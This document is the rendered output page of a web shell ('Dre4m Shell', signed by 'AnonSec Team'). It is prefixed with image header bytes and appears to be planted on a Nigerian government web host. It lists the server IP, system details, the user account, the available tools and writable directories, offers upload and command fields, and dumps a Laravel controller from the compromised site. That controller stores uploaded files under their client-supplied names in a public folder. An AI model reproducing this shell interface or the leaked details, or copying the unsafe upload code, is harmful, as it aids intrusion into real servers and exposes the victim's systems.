ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.216.57.112
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/CompanyProfileController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

use App\Http\Requests;
use Illuminate\Support\Facades\Storage;
use DB;
use File;

class CompanyProfileController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $result= DB::table('tblcompany')->get();
        if($result==null)
        {
            DB::table('tblcompany')->insert([
                'companyName' =>' ']
         );
        }
        $pic = DB::table('tblcompany')->select('logoName')->limit(1)->value('logoName');
        $pic_path = base_path('../public_html/jippis/profileLogo/').$pic;
        if($pic==null||File::glob($pic_path)==null)
        {
            DB::table('tblcompany')->update(['logoName' => 'noimage.png',]);
        }
        $data['getAllDetails']= DB::table('tblcompany')->get();

        return view('companyProfile.companyProfile', $data);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request)
    {
    //dd(asset(''));
        $this->validate($request, [
            'companyname' =>'required',
            'shortCode' =>'required',
            'telnum' =>'required',
            'emailid' =>'required',
            'address' =>'required',
            'logo' => 'image|max:1999',
    
        ]);

        $file_path =  base_path('../public_html/jippis/profileLogo/');
                     
        if($request->hasFIle('logo')){
            $filenameWithExt = $request->file('logo')->getClientOriginalName();
            
           $pic = DB::table('tblcompany')->select('logoName')->limit(1)->value('logoName');
           if($pic!='noimage.png')
           {
                
                $deletePicPath = $file_path . $pic;
                File::delete($deletePicPath );
           }

            $location = base_path('../public_html/jippis/profileLogo');
            $path = $request->file('logo')->move( $location,$filenameWithExt);

            DB::table('tblcompany')->update(['logoPath' => $path,'logoName' => $filenameWithExt,]);

        }
      

        $companyname= trim($request['companyname']);
        $shortCode= trim($request['shortCode']);
        $telnum= trim($request['telnum']);
        $emailid= trim($request['emailid']);
        $address= trim($request['address']);
       
        DB::table('tblcompany')->update(
                ['companyName' => $companyname,
                'shortCode' => $shortCode,
                'phoneNo' => $telnum,
                'emailAddress' => $emailid,
                'contactAddress' => $address,]
            );

            return redirect('/company-profile')->with('message','Form Updated');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        //
    }
}

Anon7 - 2022
AnonSec Team